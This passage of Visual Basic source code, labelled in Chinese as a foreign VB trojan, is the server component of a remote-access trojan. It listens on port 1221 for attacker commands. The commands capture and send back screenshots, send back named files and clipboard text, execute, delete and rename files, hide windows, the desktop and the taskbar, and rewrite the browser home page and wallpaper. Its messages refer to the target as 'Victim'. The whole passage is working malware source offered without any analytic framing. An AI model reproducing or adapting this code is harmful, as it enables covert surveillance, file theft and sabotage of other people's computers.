server.frm

一个VB写的国外木马的源代码the_dark_age.zip

            End If

ElseIf Left(ReData, 11) = "MsgComposer" Then
    Dim MsgIcon As Integer, MsgButtons As Integer
    Dim MsgText As String, MsgTitle As String
    MsgText = Mid(ReData, 13, InStr(11, ReData, "$") - 13)
    MsgButtons = Mid(ReData, InStr(11, ReData, "$") + 1, InStr(11, ReData, "#") - (InStr(11, ReData, "$") + 1))
    MsgIcon = Mid(ReData, InStr(11, ReData, "#") + 1, InStr(11, ReData, "^") - (InStr(11, ReData, "#") + 1))
    MsgTitle = Mid(ReData, InStr(11, ReData, "^") + 1, Len(ReData))
    WinSock1.SendData "MsgComposerShowed"
    MsgBox MsgText, MsgButtons + MsgIcon, MsgTitle

ElseIf ReData = "MsgCapture" Or Left(ReData, 13) = "DownloadFile|" Then
    If ReData = "MsgCapture" Then
            CaptureScreen Pic
            Resize Pic
            Pic.Picture = LoadPicture()
            WinSock1.SendData "CaptBegin|" & FileLen(TempPath + "Img.bmp")
    ElseIf Left(ReData, 13) = "DownloadFile|" Then
            DownFilePath = Right(ReData, Len(ReData) - 13)
            WinSock1.SendData "DownBegin|" & FileLen(DownFilePath)
    End If
ElseIf ReData = "CaptFileEstablihed" Or ReData = "DownFileEstablished" Then
    If ReData = "CaptFileEstablihed" Then
        Dim FileCapData As String
        Open TempPath + "Img.bmp" For Binary As #1
        FileCapData = Space(FileLen(TempPath + "Img.bmp"))
        Get 1, , FileCapData
        Close #1
        WinSock1.SendData FileCapData
    ElseIf ReData = "DownFileEstablished" Then
        Dim FileDownData As String
        Open DownFilePath For Binary As #1
        FileDownData = Space(FileLen(DownFilePath))
        Get 1, , FileDownData
        Close #1
        WinSock1.SendData FileDownData
    End If
ElseIf ReData = "TurnMonitorOn" Then
    SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, -1&
    WinSock1.SendData "Info|Victim's Monitor was turned ON successfully..."
ElseIf ReData = "TurnMonitorOFF" Then
    SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, 2&
    WinSock1.SendData "Info|Victim's Monitor was turned OFF successfully..."

ElseIf ReData = "GetTaskList" Then
    FindAllApps
    WinSock1.SendData FindAllApps
    
ElseIf Left(ReData, 8) = "KillWin|" Then
    Dim CurWindow As String
    CurWindow = Right(ReData, Len(ReData) - 8)
    KillWin (CurWindow)
    WinSock1.SendData "Info|Window was Killed successfullt..."

ElseIf Left(ReData, 11) = "FlipScreen|" Then
    Dim FlipMethod As Integer
    FlipMethod = Right(ReData, 1)
    CaptureScreen Pic
    SavePicture Pic.Image, TempPath + "Img.bmp"
    Pic.Picture = LoadPicture(TempPath + "Img.bmp")
    Me.WindowState = 2
    Pic.Left = 0: Pic.Top = 0
    FlipScreen (FlipMethod)
    WinSock1.SendData "Info|Victim Screen was flipped successfullu..."
    SetWindowPos Pic.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE Or SWP_SHOWWINDOW
    X = SetForegroundWindow(Me.hWnd)
    
ElseIf Left(ReData, 8) = "GotoURL|" Then
    Dim TargetURL As String
    TargetURL = Right(ReData, (Len(ReData)) - 8)
    ShellExecute Me.hWnd, vbNullString, TargetURL, vbNullString, vbNullString, vbNormalFocus
    WinSock1.SendData "Info|Default Browser was opened and linked the entered URL..."
    
ElseIf Left(ReData, 14) = "LaunchMarquee|" Then
    Dim ReArray02
    ReArray02 = Split(ReData, "|")
    Reg.SaveValue "Control Panel\Screen Saver.Marquee\", "Text", ReArray02(1)
    Reg.SaveValue "Control Panel\Screen Saver.Marquee\", "Size", ReArray02(2)
    Reg.SaveValue "Control Panel\Screen Saver.Marquee\", "TextColor", ReArray02(3)
    Reg.SaveValue "Control Panel\Screen Saver.Marquee\", "BackgroundColor", ReArray02(4)
    Reg.SaveValue "Control Panel\Screen Saver.Marquee\", "Speed", ReArray02(5)
    Shell "ssmarque.scr /s", vbNormalFocus
    WinSock1.SendData "Info|Marquee Screen Saver was excuted with the chosen configuration..."

ElseIf ReData = "HideCursor" Then
    ShowCursor False
    WinSock1.SendData "Info|Mouse Cursor was hid successfully..."
    
ElseIf ReData = "ShowCursor" Then
    ShowCursor True
    WinSock1.SendData "Info|Mouse Cursor was shown successfully..."

ElseIf ReData = "GetResolution" Then
    Dim DM As DEVMODE: Dim DMode As Long: Dim FinalRe As String
    DM.dmFields = DM_PELSWIDTH Or DM_PELSHEIGHT Or DM_BITSPERPEL
    DM.dmSize = LenB(DM)
    DMode = 0: Dim ColorRes As String
    FinalRe = "Re:GetResolution|"
    Do While EnumDisplaySettings(0&, DMode, DM) > 0
        If DM.dmBitsPerPel >= 4 Then
        Select Case DM.dmBitsPerPel
            Case 4:      ColorRes = "16 Color"
            Case 8:      ColorRes = "256 Color"
            Case 16:     ColorRes = "High Color"
            Case 24, 32: ColorRes = "True Color"
        End Select
        FinalRe = FinalRe + Format$(DM.dmPelsWidth, "000 x") + Format$(DM.dmPelsHeight, " 000") + "............" + ColorRes + "|"
        End If
        DMode = DMode + 1
    Loop
    WinSock1.SendData FinalRe
    
ElseIf Left(ReData, 17) = "ChangeResolution|" Then
    Dim Res As String
    Res = Right(ReData, Len(ReData) - 17)

ElseIf Left(ReData, 11) = "DeleteFile|" Then
    Kill Right(ReData, Len(ReData) - 11)
    WinSock1.SendData "Info|File was successfully deleted..."
ElseIf Left(ReData, 11) = "RenameFile|" Then
    Dim OldName As String, NewName As String
    OldName = Mid(ReData, 12, InStr(12, ReData, "|") - 12)
    NewName = Right(ReData, Len(ReData) - (Len(OldName) + 12))
    Name OldName As NewName
    WinSock1.SendData "Info|File was successfully renamed..."
ElseIf Left(ReData, 12) = "ExecuteFile|" Then
    Dim RunFile As String
    RunFile = Right(ReData, Len(ReData) - 12)
    ShellExecute Me.hWnd, "open", RunFile, "", "", SW_SHOWNORMAL
    WinSock1.SendData "Info|File was executed successfully..."
ElseIf Left(ReData, 10) = "CreateDir|" Then
    MkDir Right(ReData, Len(ReData) - 10) + "New Folder"
    WinSock1.SendData "Info|A new directory was created successfully..."
ElseIf Left(ReData, 16) = "ChangeWallpaper|" Then
    Dim Wallpath As String
    Wallpath = Right(ReData, Len(ReData) - 16)
    SystemParametersInfo 20, vbnostring, Wallpath, 1
ElseIf Left(ReData, 6) = "Print|" Then
    Dim RePrint
    RePrint = Split(ReData, "|")
    Printer.FontBold = RePrint(2)
    Printer.FontItalic = RePrint(3)
    Printer.FontUnderline = RePrint(4)
    Printer.FontStrikethru = RePrint(5)
    Printer.FontSize = RePrint(6)
    Printer.Print RePrint(1)
    Printer.EndDoc
ElseIf Left(ReData, 10) = "Clipboard|" Then
    Select Case Right(ReData, Len(ReData) - 10)
        Case "Clear"
            Clipboard.Clear
            WinSock1.SendData "Info|Clipboard was cleared successfully..."
        Case "Get"
            Dim ReC As String
            ReC = Clipboard.GetText
            WinSock1.SendData "Clipboard|" + ReC
        Case Else 'Set
            Clipboard.SetText Right(ReData, Len(ReData) - 10)
            WinSock1.SendData "Info|Text was set successfully to Clipboard..."
    End Select

ElseIf ReData = "ShowDesktop" Then
    Dim Hwndd As Long
    Hwndd = FindWindowEx(0&, 0&, g_cstrShellViewWnd, vbNullString)
    ShowWindow Hwndd, SW_SHOW
    WinSock1.SendData "Info|Desktop was showed successfully..."
ElseIf ReData = "HideDesktop" Then
    Dim Hwndh As Long
    Hwndh = FindWindowEx(0&, 0&, g_cstrShellViewWnd, vbNullString)
    ShowWindow Hwndh, SW_HIDE
    WinSock1.SendData "Info|Desktop was hid successfully..."
ElseIf ReData = "ShowTaskbar" Then
    Dim Thwnds As Long
    Thwnds = FindWindow("Shell_traywnd", "")
    SetWindowPos Thwnds, 0, 0, 0, 0, 0, SWP_SHOWWINDOW
    WinSock1.SendData "Info|Taskbar was showed successfully..."
ElseIf ReData = "HideTaskbar" Then
    Dim Thwndh As Long
    Thwndh = FindWindow("Shell_traywnd", "")
    SetWindowPos Thwndh, 0, 0, 0, 0, 0, SWP_HIDEWINDOW
    WinSock1.SendData "Info|Taskbar was hid successfully..."
ElseIf Left(ReData, 9) = "HomePage|" Then
    Reg.SaveValue "Software\Microsoft\Internet Explorer\Main\", "Default_Page_URL", Right(ReData, Len(ReData) - 9)
    Reg.SaveValue "Software\Microsoft\Internet Explorer\Main\", "Start Page", Right(ReData, Len(ReData) - 9)
    WinSock1.SendData "Info|Home Page was Changed successfully..."
End If
End Sub

Function FlipScreen(Method As Integer)
Pic.ScaleMode = 3
Select Case Method
    Case 1   'Vertical
        Pic.PaintPicture Pic.Picture, 0, 0, Pic.ScaleWidth, Pic.ScaleHeight, Pic.ScaleWidth, 0, -Pic.ScaleWidth, Pic.ScaleHeight, &HCC0020
    Case 2   'Horizontal
        Pic.PaintPicture Pic.Picture, 0, 0, Pic.ScaleWidth, Pic.ScaleHeight, Pic.ScaleWidth, 0, -Pic.ScaleWidth, Pic.ScaleHeight, &HCC0020
    Case 3   'Both Vertical and Horizontal
        Pic.PaintPicture Pic.Picture, 0, 0, Pic.ScaleWidth, Pic.ScaleHeight, Pic.ScaleWidth, Pic.ScaleHeight, -Pic.ScaleWidth, -Pic.ScaleHeight, &HCC0020
    Case 4   'Make it Normal
        Pic.Picture = LoadPicture()
        Me.WindowState = 0
End Select
End Function


Function KillWin(WinTitle As String)
Dim hWnd As Long
Dim X As Long
Dim lngWW As Long
hWnd = FindWindow(vbNullString, WinTitle)
lngWW = GetWindowLong(hWnd, GWL_STYLE)
If lngWW And WS_VISIBLE Then X = SetWindowPos(hWnd, 1, 0, 0, 0, 0, SWP_HIDEWINDOW Or SWP_NOSIZE)
End Function

Function FindAllApps()
Dim hwCurr As Long
Dim IntLen As Long
Dim StrTitle As String
FindAllApps = "ReTaskList|"
hwCurr = GetWindow(Me.hWnd, GW_HWNDFIRST)
Do While hwCurr
  If hwCurr <> Me.hWnd And TaskWindow(hwCurr) Then
    IntLen = GetWindowTextLength(hwCurr) + 1 ' Get length
    StrTitle = Space$(IntLen) ' Get caption
    IntLen = GetWindowText(hwCurr, StrTitle, IntLen)
    If IntLen > 0 Then
    FindAllApps = FindAllApps + StrTitle + "|"
    'lstApp.ItemData(lstApp.NewIndex) = hwCurr
    End If
  End If
  hwCurr = GetWindow(hwCurr, GW_HWNDNEXT)
Loop
End Function

Function TaskWindow(hwCurr As Long) As Long
IsTask = WS_VISIBLE Or WS_BORDER
Dim lngStyle As Long
lngStyle = GetWindowLong(hwCurr, GWL_STYLE)
If (lngStyle And IsTask) = IsTask Then TaskWindow = True
End Function

Private Function FileTitle(ByVal FileName As String) As String
   Dim I As Integer
   Dim Temp As String
   If InStr(FileName, "\") <> 0 Then
      I = Len(FileName)
      Do Until Left(Temp, 1) = "\"
         I = I - 1
         Temp = Mid(FileName, I)
      Loop
      FileTitle = Mid(Temp, 2)
   Else
      FileTitle = FileName
   End If
End Function
Function CaptureScreen(OrgPicture As PictureBox)
    Dim A As Long
    Dim s As Long
    OrgPicture.ScaleMode = 1 'Twip
    A = GetDesktopWindow()
    s = GetDC(A)
    OrgPicture.Width = Screen.Width: OrgPicture.Height = Screen.Height
    BitBlt OrgPicture.hDC, 0, 0, Screen.Width, Screen.Height, s, 0, 0, vbSrcCopy
End Function
Function Resize(OrgPicture As PictureBox)
SavePicture OrgPicture.Image, TempPath + "Img.bmp"
OrgPicture.Picture = LoadPicture(TempPath + "Img.bmp")
Me.Picture = OrgPicture.Picture: OrgPicture.Picture = LoadPicture()
OrgPicture.Height = 4500: OrgPicture.Width = 6000
Me.Height = Screen.Height: Me.Width = Screen.Width
OrgPicture.PaintPicture Me.Picture, _
            0, 0, 6000, 4500, _
            0, 0, Me.ScaleWidth, Me.ScaleHeight
Me.Picture = LoadPicture()
SavePicture Pic.Image, TempPath + "Img.bmp"
Me.Height = 0: Me.Width = 0
End Function
Function Uploads()
If Dir(FileDes & FileName) = "" Then pos = 1 Else pos = FileLen(FileDes & FileName) + 1
Open FileDes & FileName For Binary As #1
    Put #1, pos, ReData
Close #1
If FileLen(FileDes & FileName) = FileLenght Then
    ReadyForUpload = False
    WinSock1.SendData ("UploadFile|Done")
    If Left(FileName, 9) = "Wallpaper" Then SystemParametersInfo 20, vbnostring, WinTemp + FileName, 1
End If
End Function

Private Sub WinSock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
WinSock1.Close
WinSock1.LocalPort = 1221
WinSock1.Listen
End Sub

Private Sub Winsock2_Connect()
   Winsock2.SendData Winsock2.Tag
End Sub
Private Function StripNulls(Item As String) As String
Dim pos As Integer
pos = InStr(Item, Chr$(0))
If pos Then Item = Left$(Item, pos - 1)
StripNulls = Item
End Function